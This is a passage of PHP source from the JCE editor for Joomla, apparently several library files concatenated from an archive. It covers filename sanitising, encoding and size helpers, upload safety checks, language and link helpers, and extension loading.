                'Ů' => 'U',
                'ů' => 'u',
                'Ű' => 'U',
                'ű' => 'u',
                'Ų' => 'U',
                'ų' => 'u',
                'Ŵ' => 'W',
                'ŵ' => 'w',
                'Ŷ' => 'Y',
                'ŷ' => 'y',
                'Ÿ' => 'Y',
                'Ź' => 'Z',
                'ź' => 'z',
                'Ż' => 'Z',
                'ż' => 'z',
                'Ž' => 'Z',
                'ž' => 'z',
                'ſ' => 's',
                'ƒ' => 'f',
                'Ơ' => 'O',
                'ơ' => 'o',
                'Ư' => 'U',
                'ư' => 'u',
                'Ǎ' => 'A',
                'ǎ' => 'a',
                'Ǐ' => 'I',
                'ǐ' => 'i',
                'Ǒ' => 'O',
                'ǒ' => 'o',
                'Ǔ' => 'U',
                'ǔ' => 'u',
                'Ǖ' => 'U',
                'ǖ' => 'u',
                'Ǘ' => 'U',
                'ǘ' => 'u',
                'Ǚ' => 'U',
                'ǚ' => 'u',
                'Ǜ' => 'U',
                'ǜ' => 'u',
                'Ǻ' => 'A',
                'ǻ' => 'a',
                'Ǽ' => 'AE',
                'ǽ' => 'ae',
                'Ǿ' => 'O',
                'ǿ' => 'o',
            );
        }

        if (is_array($subject)) {
            foreach ($subject as $i => $string) {
                $subject[$i] = self::utf8_latin_to_ascii($string);
            }

            return $subject;
        }

        if (!is_string($subject)) {
            return $subject;
        }

        if (function_exists('transliterator_transliterate')) {
            $transformed = transliterator_transliterate('Any-Latin; Latin-ASCII;', $subject);

            if ($transformed !== false) {
                return $transformed;
            }
        }

        return strtr($subject, $CHARS);
    }

    /**
     * Changes the case of a string or an array of strings using multibyte-safe functions.
     *
     * Supports 'lowercase' and 'uppercase' case transformations for UTF-8 encoded text.
     * If the input is an array, the transformation is applied recursively to each element.
     * Falls back to returning the original value if mbstring functions are not available.
     *
     * @param string|array $string The input string or array of strings to transform.
     * @param string $case The case to apply: 'lowercase' or 'uppercase'.
     *
     * @return string|array The transformed string or array, or the original input if unsupported.
     */

    protected static function changeCase($string, $case)
    {
        if (!function_exists('mb_strtolower') || !function_exists('mb_strtoupper')) {
            return $string;
        }

        $encoding = 'UTF-8';

        if (is_array($string)) {
            $result = [];

            foreach ($string as $key => $value) {
                $result[$key] = self::changeCase($value, $case);
            }

            return $result;
        }

        switch ($case) {
            case 'lowercase':
                return mb_strtolower($string, $encoding);

            case 'uppercase':
                return mb_strtoupper($string, $encoding);

            default:
                return $string;
        }
    }

    /**
     * Cleans a UTF-8 string by removing disallowed characters.
     *
     * - Strips common punctuation, symbols, brackets, and currency characters.
     * - Preserves only Unicode letters (\p{L}), numbers (\p{N}), space, dot (.), dash (-), and underscore (_).
     * - Returns a cleaned string consisting of readable alphanumeric and structural characters.
     * - Intended for safe output in filenames, slugs, or sanitized text fields.
     *
     * @param string $string The UTF-8 encoded input string to clean.
     * @return string The sanitized UTF-8 string with disallowed characters removed.
     */
    private static function cleanUTF8($string)
    {
        // Remove disallowed ASCII characters (punctuation, symbols)
        // This also removes brackets, currency, etc.
        $string = preg_replace('#[\\\+/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$~]#u', '', $string);

        $result = '';
        $length = mb_strlen($string, 'UTF-8');

        for ($i = 0; $i < $length; $i++) {
            $char = mb_substr($string, $i, 1, 'UTF-8');

            // Keep: Unicode letters, numbers, space, dash, underscore, dot
            if (preg_match('#[\p{L}\p{N}\s\.\-_]#u', $char)) {
                $result .= $char;
            }

            // Everything else is skipped
        }

        return $result;
    }

    /**
     * Makes file name safe to use.
     *
     * @param mixed The name of the file (not full path)
     *
     * @return mixed The sanitised string or array
     */
    public static function makeSafe($subject, $mode = 'utf-8', $spaces = '_', $case = '')
    {
        $search = array();

        // set default mode if none is passed in
        if (empty($mode)) {
            $mode = 'utf-8';
        }

        if (!function_exists('mb_internal_encoding')) {
            $mode = 'ascii';
        }

        // trim
        if (is_array($subject)) {
            $subject = array_map('trim', $subject);
        } else {
            $subject = trim($subject);
        }

        // replace spaces with specified character or space
        if (is_string($spaces)) {
            $subject = preg_replace('#[\s ]+#', $spaces, $subject);
        }

        if ($mode === 'utf-8') {
            $search[] = '#[^\pL\pM\pN_\.\-\s ]#u';
        } else {
            $subject = self::utf8_latin_to_ascii($subject);
            $search[] = '#[^a-zA-Z0-9_\.\-\s ]#';
        }

        // remove multiple . characters
        $search[] = '#(\.){2,}#';

        // strip leading period
        $search[] = '#^\.#';

        // strip trailing period
        $search[] = '#\.$#';

        // strip whitespace
        $search[] = '#^\s*|\s*$#';

        // only for utf-8 to avoid PCRE errors - PCRE must be at least version 5
        if ($mode == 'utf-8') {
            try {
                // perform pcre replacement
                $result = preg_replace($search, '', $subject);
            } catch (Exception $e) {
                // try ascii
                return self::makeSafe($subject, 'ascii');
            }

            // try ascii
            if (is_null($result) || $result === false) {
                return self::makeSafe($subject, 'ascii');
            }

            if ($case) {
                // change case
                $result = self::changeCase($result, $case);
            }

            return $result;
        }

        $result = preg_replace($search, '', $subject);

        if ($case) {
            // change case
            $result = self::changeCase($result, $case);
        }

        return $result;
    }

    /**
     * Formats a raw file size (in bytes) as a human-readable string, limited to MB.
     *
     * - Bytes (< 1 KB): formatted as "123 bytes"
     * - Kilobytes (< 1 MB): formatted as "12.34 KB"
     * - Megabytes (≥ 1 MB): formatted as "1.23 MB"
     *
     * @param int $size The file size in bytes.
     * @return string The formatted file size string.
     */
    public static function formatSize($size)
    {
        if ($size < 1024) {
            return $size . ' ' . WFText::_('WF_LABEL_BYTES');
        }

        if ($size < 1048576) { // 1024 * 1024
            return sprintf('%.2f', $size / 1024) . ' ' . WFText::_('WF_LABEL_KB');
        }

        return sprintf('%.2f', $size / 1048576) . ' ' . WFText::_('WF_LABEL_MB');
    }

    /**
     * Convert strftime format to DateTime format.
     *
     * @param string $format The strftime format string.
     *
     * @return string The DateTime format string.
     */
    private static function convertStrftimeToDateTimeFormat($format)
    {
        $replacements = [
            '%d' => 'd', // Day of the month, 2 digits with leading zeros
            '%m' => 'm', // Numeric representation of a month, with leading zeros
            '%Y' => 'Y', // A full numeric representation of a year, 4 digits
            '%y' => 'y', // A two digit representation of a year
            '%H' => 'H', // 24-hour format of an hour with leading zeros
            '%I' => 'h', // 12-hour format of an hour with leading zeros
            '%M' => 'i', // Minutes with leading zeros
            '%S' => 's', // Seconds, with leading zeros
            '%p' => 'A', // UPPER-CASE 'AM' or 'PM' based on the given time
            '%P' => 'a', // lower-case 'am' or 'pm' based on the given time
        ];

        return strtr($format, $replacements);
    }

    /**
     * Format the date.
     *
     * @param int $timestamp the unix timestamp
     * @param string $format the format of the date (default: 'd/m/Y, H:i')
     *
     * @return string formatted date
     */
    public static function formatDate($timestamp = null, $format = 'd/m/Y, H:i')
    {
        $formatDateTime = self::convertStrftimeToDateTimeFormat($format);

        $dateTime = new DateTime();

        if ($timestamp !== null) {
            $dateTime->setTimestamp($timestamp);
        }

        return $dateTime->format($formatDateTime);
    }

    /**
     * Get the modified date of a file.
     *
     * @return Formatted modified date
     *
     * @param string $file Absolute path to file
     */
    public static function getDate($file)
    {
        return self::formatDate(@filemtime($file));
    }

    /**
     * Get the size of a file.
     *
     * @return Formatted filesize value
     *
     * @param string $file Absolute path to file
     */
    public static function getSize($file)
    {
        return self::formatSize(@filesize($file));
    }

    /**
     * Multi-byte-safe dirname replacement.
     * https://gist.github.com/tcyrus/257a1ed93c5e115b7b33426d029b5c5f
     *
     * @param string $path A Path
     * @param int $levels The number of parent directories to go up.
     * @return string The path of a parent directory.
     */
    public static function mb_dirname($path)
    {
        // check if multibyte string, use dirname() if not
        if (function_exists('mb_strlen')) {
            $dir = dirname($path);

            if ($dir == ".") {
                return "";
            }

            return $dir;
        }

        // Normalize the path for non-multibyte environments
        $path = self::cleanPath($path, '/');

        // Get last slash position
        $slash = strrpos($path, '/');

        // If there's no slash in the path, return ''
        if ($slash === false) {
            return "";
        }

        // Return directory part
        $dir = substr($path, 0, $slash);

        // If it's an empty string after substr, then it was a root path
        if ($dir === ".") {
            return "";
        }

        return $dir;
    }

    public static function mb_basename($path, $ext = '')
    {
        // check if multibyte string, use basename() if not
        if (function_exists('mb_strlen')) {
            return basename($path, $ext);
        }

        // clean
        $path = self::cleanPath($path, '/');

        // split path
        $parts = explode('/', $path);

        // return basename
        $path = end($parts);

        if ($ext === '.' . self::getExtension($path)) {
            $path = self::stripExtension($path);
        }

        return $path;
    }

    /**
     * Converts a string to UTF-8 encoding if it's not already UTF-8.
     *
     * - Uses mb_detect_encoding() if available.
     * - Falls back to regex-based UTF-8 detection and utf8_encode() for Latin-1 strings if mbstring is unavailable.
     * - If encoding cannot be determined, returns a sanitized ASCII-only version.
     *
     * @param string $string The input string to normalize.
     * @return string UTF-8 encoded or sanitized string.
     */
    public static function convertEncoding($string)
    {
        if (!function_exists('mb_detect_encoding') || !function_exists('mb_convert_encoding')) {
            // Regex-based UTF-8 detection (W3C)
            $isUTF8 = preg_match('%^(?:
              [\x09\x0A\x0D\x20-\x7E]              # ASCII
            | [\xC2-\xDF][\x80-\xBF]               # non-overlong 2-byte
            |  \xE0[\xA0-\xBF][\x80-\xBF]          # excluding overlongs
            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}    # straight 3-byte
            |  \xED[\x80-\x9F][\x80-\xBF]          # excluding surrogates
            |  \xF0[\x90-\xBF][\x80-\xBF]{2}       # planes 1–3
            | [\xF1-\xF3][\x80-\xBF]{3}            # planes 4–15
            |  \xF4[\x80-\x8F][\x80-\xBF]{2}       # plane 16
        )*$%xs', $string);

            return $isUTF8 ? $string : utf8_encode($string);
        }

        // Try to detect the encoding
        $encoding = mb_detect_encoding($string, ['UTF-8', 'ISO-8859-1', 'Windows-1252', 'ASCII'], true);

        // Return unchanged if already UTF-8
        if ($encoding === 'UTF-8') {
            return $string;
        }

        // If unknown encoding, fallback to stripped ASCII
        if ($encoding === false) {
            return preg_replace('#[^a-zA-Z0-9_\.\-\s ]#u', '', $string);
        }

        // Convert from detected encoding to UTF-8
        return mb_convert_encoding($string, 'UTF-8', $encoding);
    }

    /**
     * Checks whether a string is valid UTF-8.
     *
     * Uses mb_detect_encoding() if available; otherwise falls back to a strict UTF-8 pattern check.
     * Designed for safe operation even in environments without mbstring.
     *
     * @param string $string The input string to validate.
     * @return bool True if the string is valid UTF-8, false otherwise.
     */
    public static function isUtf8($string)
    {
        if (!function_exists('mb_detect_encoding')) {
            return (bool) preg_match(
                '%^(?:
                [\x09\x0A\x0D\x20-\x7E]              # ASCII
              | [\xC2-\xDF][\x80-\xBF]               # non-overlong 2-byte
              |  \xE0[\xA0-\xBF][\x80-\xBF]          # excluding overlongs
              | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}    # straight 3-byte
              |  \xED[\x80-\x9F][\x80-\xBF]          # excluding surrogates
              |  \xF0[\x90-\xBF][\x80-\xBF]{2}       # planes 1-3
              | [\xF1-\xF3][\x80-\xBF]{3}            # planes 4-15
              |  \xF4[\x80-\x8F][\x80-\xBF]{2}       # plane 16
            )*$%xs',
                $string
            );
        }

        return mb_detect_encoding($string, 'UTF-8', true);
    }

    /**
     * Converts a human-readable size value (e.g., "2M", "512k", "1G") to bytes.
     *
     * Supports the following unit suffixes (case-insensitive):
     * - K (kilobytes)
     * - M (megabytes)
     * - G (gigabytes)
     *
     * If no unit is specified, the value is assumed to be in bytes.
     *
     * @param string|int $value The size value to convert (e.g., "2M", "1024").
     * @return int Size in bytes.
     */
    public static function convertSize($value)
    {
        $value = trim((string) $value);
        $unit = '';

        if (preg_match('#([\d\.]+)\s*([a-z]*)#i', $value, $matches)) {
            $value = floatval($matches[1]);
            $unit = strtolower(substr($matches[2], 0, 1));
        }

        switch ($unit) {
            case 'g':
                $value *= 1073741824; // 1024^3
                break;
            case 'm':
                $value *= 1048576; // 1024^2
                break;
            case 'k':
                $value *= 1024; // 1024^1
                break;
        }

        return (int) $value;
    }

    /**
     * Checks an upload for suspicious naming, potential PHP contents, valid image and HTML tags.
     */
    public static function isSafeFile($file)
    {
        // null byte check
        if (strstr($file['name'], "\x00")) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Invalid file: The file name contains a null byte.');
        }

        // check name for invalid extensions
        if (self::validateFileName($file['name']) === false) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Invalid file: The file name contains an invalid extension.');
        }

        // check file for <?php tags
        $fp = @fopen($file['tmp_name'], 'r');

        if ($fp !== false) {
            $data = '';

            while (!feof($fp)) {
                $data .= @fread($fp, 131072);
                // we can only reliably check for the full <?php tag here (short tags conflict with valid exif xml data), so users are reminded to disable short_open_tag
                if (stripos($data, '<?php') !== false) {
                    @unlink($file['tmp_name']);
                    throw new InvalidArgumentException('Invalid file: The file contains PHP code.');
                }

                // check for `__HALT_COMPILER()` phar stub
                if (stripos($data, '__HALT_COMPILER()') !== false) {
                    @unlink($file['tmp_name']);
                    throw new InvalidArgumentException('Invalid file: The file contains PHP code.');
                }

                $data = substr($data, -10);
            }

            fclose($fp);
        }

        // Get the file extension
        $extension = self::getExtension($file['name'], true);

        // Check if the file extension is a common image
        $isImage = in_array($extension, ['jpeg', 'jpg', 'jpe', 'png', 'apng', 'gif', 'bmp', 'tiff', 'tif', 'webp', 'psd', 'ico', 'xcf', 'odg'], true);

        // validate image
        if ($isImage && @getimagesize($file['tmp_name']) === false) {
            @unlink($file['tmp_name']);
            throw new InvalidArgumentException('Invalid file: The file is not a valid image.');
        }

        return true;
    }

    /**
     * Check file name for extensions.
     *
     * @param type $name
     *
     * @return bool
     */
    public static function validateFileName($name)
    {
        if (empty($name) && (string) $name !== "0") {
            return false;
        }

        // first character is a dot
        if ($name[0] === '.') {
            return false;
        }

        // lowercase it
        $name = strtolower($name);

        // remove multiple . characters
        $name = preg_replace('#(\.){2,}#', '.', $name);

        // list of invalid extensions
        $executable = array(
            'php',
            'php3',
            'php4',
            'php5',
            'php6',
            'php7',
            'phar',
            'js',
            'exe',
            'phtml',
            'java',
            'perl',
            'py',
            'asp',
            'dll',
            'go',
            'ade',
            'adp',
            'bat',
            'chm',
            'cmd',
            'com',
            'cpl',
            'hta',
            'ins',
            'isp',
            'jse',
            'lib',
            'mde',
            'msc',
            'msp',
            'mst',
            'pif',
            'scr',
            'sct',
            'shb',
            'sys',
            'vb',
            'vbe',
            'vbs',
            'vxd',
            'wsc',
            'wsf',
            'wsh',
            'svg',
        );

        // get file parts, eg: ['image', 'php', 'jpg']
        $parts = explode('.', $name);

        // remove extension
        array_pop($parts);

        // remove name
        array_shift($parts);

        // trim each $parts
        $parts = array_map('trim', $parts);

        // no extensions in file name
        if (empty($parts)) {
            return true;
        }

        // check for extension in file name, eg: image.php.jpg
        foreach ($executable as $extension) {
            if (in_array($extension, $parts)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Method to determine if an array is an associative array.
     *
     * @param    array        An array to test
     *
     * @return bool True if the array is an associative array
     *
     * @link    https://www.php.net/manual/en/function.is-array.php#84488
     */
    public static function is_associative_array($array)
    {
        if (!is_array($array)) {
            return false;
        }

        $i = count($array);

        while ($i > 0) {
            if (!array_key_exists(--$i, $array)) {
                return true;
            }
        }

        return false;
    }

    public static function isJson($value)
    {
        // value must be a string
        if (!$value || !is_string($value)) {
            return false;
        }

        // trim
        $value = trim($value);

        if (!$value) {
            return false;
        }

        // quick syntax check
        if ($value[0] !== '{' && $value[0] !== '[') {
            return false;
        }

        // full check using json_decode
        json_decode($value);
        return json_last_error() == JSON_ERROR_NONE;
    }

    /**
     * array_merge_recursive does indeed merge arrays, but it converts values with duplicate
     * keys to arrays rather than overwriting the value in the first array with the duplicate
     * value in the second array, as array_merge does. I.e., with array_merge_recursive,
     * this happens (documented behavior):.
     *
     * array_merge_recursive(array('key' => 'org value'), array('key' => 'new value'));
     *     => array('key' => array('org value', 'new value'));
     *
     * array_merge_recursive_distinct does not change the datatypes of the values in the arrays.
     * Matching keys' values in the second array overwrite those in the first array, as is the
     * case with array_merge, i.e.:
     *
     * array_merge_recursive_distinct(array('key' => 'org value'), array('key' => 'new value'));
     *     => array('key' => array('new value'));
     *
     * Parameters are passed by reference, though only for performance reasons. They're not
     * altered by this function.
     *
     * @param array $array1
     * @param array $array2
     * @param boolean $ignore_empty_string
     *
     * @return array
     *
     * @author Daniel <daniel (at) danielsmedegaardbuus (dot) dk>
     * @author Gabriel Sobrinho <gabriel (dot) sobrinho (at) gmail (dot) com>
     */
    public static function array_merge_recursive_distinct(array $array1, array $array2, $ignore_empty_string = false)
    {
        $merged = $array1;

        foreach ($array2 as $key => $value) {
            if (self::is_associative_array($value) && array_key_exists($key, $merged) && self::is_associative_array($merged[$key])) {
                $merged[$key] = self::array_merge_recursive_distinct($merged[$key], $value, $ignore_empty_string);
            } else {
                if (is_null($value)) {
                    continue;
                }

                if (array_key_exists($key, $merged) && $ignore_empty_string && $value === "") {
                    continue;
                }

                $merged[$key] = $value;
            }
        }

        return $merged;
    }

    /**
     * Return a list of allowed file extensions in a specific format.
     *
     * @param string $format The desired format of the output ('map', 'array', 'list', 'json').
     * @param string $list String of file types to format.
     * @return mixed Formatted extension list.
     */
    public static function formatFileTypesList($format = 'map', $list = '')
    {
        $data = array();

        // Split the list into groups separated by ';'
        foreach (explode(';', $list) as $group) {
            // Exclude group if it starts with '-'
            if (strpos($group, '=') !== false && strpos($group, '-') === 0) {
                continue;
            }

            // Split the group into type and items parts
            $parts = explode('=', $group);
            // Get the extensions, e.g., "jpg,gif,png"
            $items = array_pop($parts);
            // Get the type if available, e.g., "images"
            $type = array_pop($parts);

            // Filter and map items, excluding any that start with '-'
            $items = array_filter(explode(',', $items), function ($item) {
                return substr(trim($item), 0, 1) !== '-';
            });

            // If no type is specified, handle as a flat list
            if (empty($type)) {
                $data = array_merge($data, $items);
            } else {
                // Create flattened array if format is 'array' or 'list'
                if ($format === 'array' || $format === 'list') {
                    $data = array_merge($data, array_map('strtolower', $items));
                } else {
                    // Create associative array, e.g., ["images" => ["jpg", "jpeg", "gif", "png"]]
                    if (!isset($data[$type])) {
                        $data[$type] = array();
                    }
                    $data[$type] = array_merge($data[$type], array_map('strtolower', $items));
                }
            }
        }

        // Return flattened list of extensions, e.g., "jpg,jpeg,png,gif"
        if ($format === 'list') {
            return implode(',', array_unique($data));
        }

        // Return JSON encoded list, e.g., {"images": ["jpg", "jpeg", "gif", "png"]}
        if ($format === 'json') {
            return json_encode($data);
        }

        // Return array, ensure uniqueness and maintain structure for 'map' format
        if ($format === 'array') {
            return array_unique($data);
        }

        // Default return associative array ('map' format)
        foreach ($data as $key => $value) {
            $data[$key] = array_unique($value);
        }

        return $data;
    }
}
com_jce/editor/libraries/classes/language.php000060400000003564152453734450015356 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

abstract class WFLanguage
{
    /* Map language code to generic tag */
    protected static $map = array(
        'de' => 'de-DE',
        'fr' => 'fr-FR',
    );

    /*
     * Check a language file exists and is the correct version
     */
    protected static function isValid($tag)
    {
        return file_exists(JPATH_SITE . '/language/' . $tag . '/' . $tag . '.com_jce.ini');
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getDir()
    {
        return Factory::getLanguage()->isRTL() ? 'rtl' : 'ltr';
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getTag()
    {
        $tag = Factory::getLanguage()->getTag();

        $code = substr($tag, 0, strpos($tag, '-'));

        if (array_key_exists($code, self::$map)) {
            $tag = self::$map[$code];
        }

        if (false == self::isValid($tag)) {
            return 'en-GB';
        }

        return $tag;
    }

    /**
     * Return the curernt language code.
     *
     * @return language code
     */
    public static function getCode()
    {
        $tag = self::getTag();

        return substr($tag, 0, strpos($tag, '-'));
    }

    /**
     * Load a language file.
     *
     * @param string $prefix         Language prefix
     * @param object $path[optional] Base path
     */
    public static function load($prefix, $path = JPATH_SITE)
    {
        Factory::getLanguage()->load($prefix, $path);
    }
}
com_jce/editor/libraries/classes/linkhelper.php000060400000005370152453734450015725 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

abstract class WFLinkHelper
{
    /**
     * Translates an internal Joomla URL to a humanly readible URL.
     *
     * @param string $url Absolute or Relative URI to Joomla resource
     *
     * @return The translated humanly readible URL
     */
    public static function route($url)
    {
        $app = Joomla\CMS\Application\CMSApplication::getInstance('site');
        $router = $app->getRouter('site');

        if (!$router) {
            return $url;
        }

        $uri = $router->build($url);
        $url = $uri->toString();
        $url = str_replace('/administrator/', '/', $url);

        return $url;
    }

    private static function getDefaultItemId()
    {
        // get menus
        $menus = Factory::getApplication()->getMenu('site');

        // get "default" menu
        $default = $menus->getDefault();

        return $default ? (int) $default->id : 0;
    }

    public static function removeAlias($url)
    {
        // Only strip alias after a numeric ID (e.g. id=1:article-alias)
        $url = preg_replace('#(?<=\d):[\w-]+#u', '', $url);

        return $url;
    }

    private static function parseQueryVars($url)
    {
        $parsed = parse_url($url, PHP_URL_QUERY);
        $parsed = str_replace('&amp;', '&', $parsed);
        parse_str($parsed, $vars);
        return $vars;
    }

    public static function removeItemId($url)
    {
        if (strpos($url, 'Itemid') === false) {
            return $url;
        }

        $vars = self::parseQueryVars($url);

        if (!array_key_exists('Itemid', $vars)) {
            return $url;
        }

        // only remove the Itemid if it is not the only query value
        if (count($vars) === 1) {
            return $url;
        }

        // remove the itemid
        unset($vars['Itemid']);

        // rebuild the query string, preserving colons (valid in query values)
        $query = str_replace('%3A', ':', http_build_query($vars));

        return 'index.php?' . $query;
    }

    public static function removeHomeItemId($url)
    {
        if (strpos($url, 'Itemid') === false) {
            return $url;
        }

        $vars = self::parseQueryVars($url);

        if (!array_key_exists('Itemid', $vars)) {
            return $url;
        }

        $defaultId = self::getDefaultItemId();

        if ((int) $defaultId === (int) $vars['Itemid']) {
            $url = self::removeItemId($url);
        }

        return $url;
    }
}
com_jce/editor/libraries/classes/extensions.php000060400000021730152453734450015765 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Plugin\PluginHelper;

class WFExtension extends CMSObject
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        parent::__construct();

        // set extension properties
        $this->setProperties($config);
    }

    /**
     * Returns a reference to a WFExtension object.
     *
     * This method must be invoked as:
     *    <pre>  $extension = WFExtension::getInstance();</pre>
     *
     * @return object WFExtension
     */
    /* public static function getInstance()
    {
    static $instance;

    if (!is_object($instance)) {
    $instance = new WFExtension();
    }
    return $instance;
    } */

    /**
     * Display the extension.
     */
    public function display() {}

    /**
     * Load a plugin extension.
     *
     * @return array
     */
    private static function _load($types = array(), $extension = null, $config = array())
    {
        $language = Factory::getLanguage();

        $extensions = array();

        if (!isset($config['base_path'])) {
            $config['base_path'] = WF_EDITOR;
        }

        // core extensions path
        $path = $config['base_path'] . '/extensions';

        // cast as array
        $types = (array) $types;

        // get all installed plugins
        $installed = PluginHelper::getPlugin('jce');

        if (!empty($installed)) {
            foreach ($installed as $item) {
                // check for delimiter, only load "extensions"
                if (!preg_match('/[-_]/', $item->name) || preg_match('/^editor[-_]/', $item->name)) {
                    continue;
                }

                $p = clone $item;

                // set path
                $p->path = JPATH_PLUGINS . '/jce/' . $p->name;

                // get type and name
                list($p->folder, $p->extension) = preg_split('/[-_]/', $p->name, 2);

                // load the correct type if set
                if (!empty($types) && !in_array($p->folder, $types)) {
                    continue;
                }

                // specific extension
                if ($extension && $p->extension !== $extension) {
                    continue;
                }

                $language->load('plg_jce_' . $p->name, JPATH_ADMINISTRATOR);
                $language->load('plg_jce_' . $p->name, $p->path);

                // add to array
                $extensions[$p->extension] = $p;
            }
        }

        // get legacy extensions
        $legacy = Folder::folders(WF_EDITOR . '/extensions', '.', false, true);

        $core = array(
            'aggregator' => array(
                'dailymotion',
                'vimeo',
                'youtube',
            ),
            'filesystem' => array(
                'joomla',
            ),
            'links' => array(
                'joomlalinks',
            ),
            'popups' => array(
                'jcemediabox',
            ),
            'search' => array(
                'link',
            ),
        );

        foreach ($legacy as $item) {
            $type = basename($item);

            // unknown type
            if (array_key_exists($type, $core) === false) {
                continue;
            }

            // load the correct type if set
            if (!empty($types) && !in_array($type, $types)) {
                continue;
            }

            // specific extension
            if ($extension && !is_file($item . '/' . $extension . '.php')) {
                continue;
            }

            if (!empty($extension)) {
                // already loaded as Joomla plugin
                if (isset($extensions[$extension])) {
                    continue;
                }

                $files = array($item . '/' . $extension . '.xml');
            } else {
                $files = Folder::files($item, '\.xml$', false, true);
            }

            foreach ($files as $file) {
                $extension = basename($file, '.xml');

                // unknown extension
                if (!in_array($extension, $core[$type])) {
                    continue;
                }

                $object = new stdClass();
                $object->folder = $type;
                $object->path = dirname($file);
                $object->extension = $extension;

                if (!isset($extensions[$extension])) {
                    $extensions[$extension] = $object;
                }
            }
        }

        return $extensions;
    }

    /**
     * Load & Call an extension.
     *
     * @param array $config
     *
     * @return mixed
     */
    public static function loadExtensions($type, $extension = null, $config = array())
    {
        if (!isset($config['base_path'])) {
            $config['base_path'] = WF_EDITOR;
        }

        // sanitize $type
        $type = preg_replace('#[^A-Z0-9\._-]#i', '', $type);

        // sanitize $extension
        if ($extension) {
            $extension = preg_replace('#[^A-Z0-9\._-]#i', '', $extension);
        }

        // Get all extensions
        $extensions = self::_load((array) $type, $extension, $config);

        $result = array();

        if (!empty($extensions)) {
            foreach ($extensions as $item) {
                $name = isset($item->extension) ? $item->extension : '';

                $type = $item->folder;
                $path = $item->path;

                if ($name) {
                    $root = $path . '/' . basename($path) . '.php';

                    // store name in item object
                    $item->name = $name;

                    // legacy - clean defined path for Windows!!
                    if (WFUtility::cleanPath(dirname($path)) === WFUtility::cleanPath(WF_EDITOR_EXTENSIONS)) {
                        $root = $path . '/' . $name . '.php';
                        // redefine path
                        $item->path = $path . '/' . $name;
                    }

                    if (is_dir($path . '/src')) {
                        $root = $path . '/src/' . $type . '.php';
                    }

                    if (file_exists($root)) {
                        // Load root extension file
                        require_once $root;

                        // Return array of extension names
                        $result[$type][] = $item;

                        // if we only want a named extension
                        if ($extension && $extension == $name) {
                            return $item;
                        }
                    }
                }
            }
        }

        // only return extension types requested
        if ($type && array_key_exists($type, $result)) {
            return $result[$type];
        }

        // Return array or extension name
        return $result;
    }

    /**
     * Return a parameter for the current plugin / group.
     *
     * @param object $key   Parameter name
     * @param object $default Default value
     *
     * @return string Parameter value
     */
    public function getParam($key, $default = '')
    {
        $wf = WFApplication::getInstance();

        return $wf->getParam($key, $default);
    }

    public function getView($options = array())
    {
        return new WFView($options);
    }

    protected function getCustomDefaultAttributes($data)
    {
        $custom = array();

        if (is_string($data)) {
            $data = html_entity_decode($data);
            $data = json_decode($data, true);
        }

        // Remove values with invalid key, must be indexed array
        $data = array_filter($data, function ($value, $key) {
            return is_numeric($key) && $value != "";
        }, ARRAY_FILTER_USE_BOTH);

        foreach ($data as $attribute) {
            if (empty($attribute)) {
                continue;
            }

            $name = '';
            $value = '';

            // json associative array
            if (is_array($attribute) && array_key_exists('name', $attribute)) {
                extract($attribute);
            }

            if ($name && $value !== '') {
                $value = trim($value, " \t\n\r\0\x0B'\"");
                $value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');

                $custom[$name] = $value;
            }
        }

        // remove empty values
        $custom = array_filter($custom, function ($value) {
            return $value !== '';
        });

        // remove invalid keys
        $custom = array_filter($custom, function ($key) {
            return preg_match('/^[a-zA-Z0-9\-_]+$/', $key);
        }, ARRAY_FILTER_USE_KEY);

        return $custom;
    }
}
com_jce/editor/libraries/classes/devicedetect.php000060400000010226152453734450016214 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2026 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

/**
 * Minimal device detection: phone / tablet / desktop
 * - Uses UA heuristics only (optionally you can pass Client Hints headers)
 * - Not meant for security decisions; only UI/UX branching
 */
final class WFDeviceDetect
{
    /** @var string */
    private $ua;

    /** @var array<string, string> */
    private $headers;

    public function __construct($userAgent = null, $headers = null)
    {
        $this->ua = \is_string($userAgent) ? $userAgent : (isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : '');
        $this->headers = \is_array($headers) ? $headers : $this->readHeaders();
    }

    public function isPhone()
    {
        return $this->deviceType() === 'phone';
    }

    public function isTablet()
    {
        return $this->deviceType() === 'tablet';
    }

    public function isMobile()
    {
        $t = $this->deviceType();
        return ($t === 'phone' || $t === 'tablet');
    }

    /**
     * @return string 'phone'|'tablet'|'desktop'
     */
    public function deviceType()
    {
        $ua = $this->ua;

        // 1) Client hint: Sec-CH-UA-Mobile: ?1 / ?0 (Chromium)
        // This indicates "mobile", but not "tablet". Still useful as a signal.
